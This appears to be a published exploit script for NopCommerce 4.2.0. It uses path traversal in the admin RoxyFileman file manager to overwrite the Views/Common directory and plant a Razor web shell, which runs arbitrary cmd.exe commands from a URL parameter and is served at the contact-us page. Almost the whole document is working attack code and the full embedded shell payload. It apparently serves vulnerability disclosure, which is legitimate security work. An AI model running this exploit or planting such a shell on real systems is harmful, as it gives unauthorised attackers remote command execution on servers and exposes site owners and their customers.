1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
# Vulnerability Title: NopCommerce 4.2.0 -Privilege Escalation # Author: Alessandro Magnosi (d3adc0de) # Date: 2019-07-07 # Vendor Homepage: https://www.nopcommerce.com/ # Software Link : https://www.nopcommerce.com/ # Tested Version: 4.2.0 # Vulnerability Type: Privilege Escalation # Tested on OS: Windows 10, CentOS, Docker # Exploit designed for: NopCommerce 4.2.0 on IIS import requests import argparse from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning import warnings warnings.filterwarnings("ignore", category=UserWarning, module='bs4') def proxy(flag): return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None def geturl(baseurl, type): if type == "login": return baseurl + "/login" elif type == "mv": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2" elif type == "mkdir": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common" elif type == "put": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD" elif type == "contactus": return baseurl + "/contactus" else: return "" def login(email, password, url, proxy): res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False) cookie = res.cookies.get_dict() soup = BeautifulSoup(res.text, features="html.parser") token = soup.find("input", {"name":"__RequestVerificationToken"})["value"] res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False) cookies = res.cookies.get_dict() return { **cookies, **cookie } def shellupload(email, password, url, proxy): print("[+] Trying uploading shell from") cookies = login(email, password, url, proxy) # Rename Common Directory requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) # Create Common Directory requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) # Upload File into Common requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\nViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\nvar result = \"\";\r\nvar cmd = Context.Request.Query[\"cmd\"];\r\nif (!String.IsNullOrEmpty(cmd)){\r\nresult = Bash(cmd);\r\n}\r\n\r\nif (String.IsNullOrEmpty(result)){\r\nresult = \"Invalid command or something didn't work\";\r\n}\r\n\r\n}\r\n\r\n@functions{\r\npublic static string Bash (string cmd)\r\n{\r\nvar result = \"\";\r\nvar escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\nvar process = new Process()\r\n{\r\nStartInfo = new ProcessStartInfo\r\n{\r\nFileName = \"cmd.exe\",\r\nArguments = $\"/C \\\"{escapedArgs}\\\"\",\r\nRedirectStandardOutput = true,\r\nUseShellExecute = false,\r\nCreateNoWindow = true,\r\n}\r\n};\r\n\r\nprocess.Start();\r\nresult = process.StandardOutput.ReadToEnd();\r\nprocess.WaitForExit();\r\n\r\nreturn result;\r\n}\r\n}\r\n\r\n\r\n\r\n<script\r\nsrc=\"https://code.jquery.com/jquery-3.2.1.min.js\"\r\nintegrity=\"sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=\"\r\ncrossorigin=\"anonymous\"></script>\r\n<script>\r\n$(function() {\r\nvar cmdResult = $(\"#cmdResult\");\r\n\r\n\tconsole.log(cmdResult);\r\n\r\n\tif (cmdResult.text() === \"Invalid command or something didn't work\"){\r\n\tconsole.log(\"should change text\");\r\ncmdResult.css(\"color\", \"red\");\r\n\t}\r\n\t\r\n\tvar term = $(\"#console\");\r\n$(\"#cmd\").focus();\r\n\tterm.scrollTop(term.prop(\"scrollHeight\"));\r\n\t\r\n\t$.urlParam = function(name){\r\nvar results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href);\r\nif (results==null){\r\n return null;\r\n}\r\nelse{\r\n return decodeURI(results[1]) || 0;\r\n}\r\n}\r\n\r\n\t\r\n\tfunction executeCmd(){\r\nvar cmd = encodeURIComponent($(\"#cmd\").val());\r\n\tvar currentCmd = $.urlParam('cmd');\r\n\tconsole.log(\"should replace: \" + currentCmd + \" WITH: \" + cmd);\r\n\r\n\tvar currentUrl = location.href;\r\n\r\n\tvar paramDelimeter = \"\";\r\n\tif (currentUrl.indexOf(\"?\") < 0){\r\n\tparamDelimeter = \"?\";\r\n\t} else {\r\n\tparamDelimeter = \"&\";\r\n\t}\r\n\r\n\tif (currentUrl.indexOf(\"cmd=\") < 0){\r\ncurrentUrl = location.href + paramDelimeter + \"cmd=\";\r\n\t}\r\n\t\r\nvar newUrl = currentUrl.replace(/cmd=.*/, \"cmd=\"+cmd);\r\nwindow.location.href = newUrl;\r\n\r\n\t//console.log(newUrl);\r\n\t}\r\n\t\r\n$(\"#submitCommand\").click(function(){\r\n\texecuteCmd();\r\n\t})\r\n\r\n\t$(\"#cmd\").keypress(function (e) {\r\n\tif (e.which == 13) {\r\n\texecuteCmd();\r\n\treturn false;\r\n\t}\r\n\t});\r\n\r\n\t$(\"#cmd\").on(\"change paste keyup\", function(theVal){\r\n\tvar cmd = $(\"#cmd\").val();\r\n\t$(\"#cmdInput\").text(cmd);\r\n\t});\r\n});\r\n\r\n</script>\r\n\r\n\r\n<h3>@ViewData[\"Title\"].</h3>\r\n<h4>@ViewData[\"Message\"]</h4>\r\n<h4>Output for:> <span style=\"font-family: monospace; font-weight: normal;\">@cmd</span></h4>\r\n\r\n\r\n<pre id=\"console\" style=\"color: #00ff00;background-color: #141414;max-height: 606px;\">\r\nC#:>@cmd\r\n\t\r\n<span id=\"cmdResult\">@result</span>\r\n\t\r\nC#:><span id=\"cmdInput\"></span>\r\n</pre>\r\n\r\n<br />\r\n\r\n<p>Enter your command below:</p>\r\n<span style=\"display: inline-flex !important;\">\r\n<inputid=\"cmd\" class=\"form-control\" type=\"text\" style=\"width: 400px;\" /> \r\n\t<button id=\"submitCommand\" class=\"btn btn-primary\">Send!</button>\r\n</span>\r\n\r\n-----------------------------3125261928760--", proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) # Test if it is working res = requests.get(geturl(url, "contactus"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) soup = BeautifulSoup(res.text, features="html.parser") test = soup.find("span", {"id" : "cmdResult"}) if test is None: print("[-] Maybe the target is not vulnerable, or you need to restart the appliance") else: print("[+] Shell uploaded under contact us page") def main(): parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce') parser.add_argument( '-e', '--email', required=True, type=str, help='Username') parser.add_argument( '-p', '--password', required=True, type=str, help='Password') parser.add_argument( '-u', '--url', required=True, type=str, help='Base Url of NopCommerce') parser.add_argument( '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)') args = parser.parse_args() shellupload(args.email, args.password, args.url, proxy(args.proxy)) if __name__ == '__main__': requests.packages.urllib3.disable_warnings(InsecureRequestWarning) main() |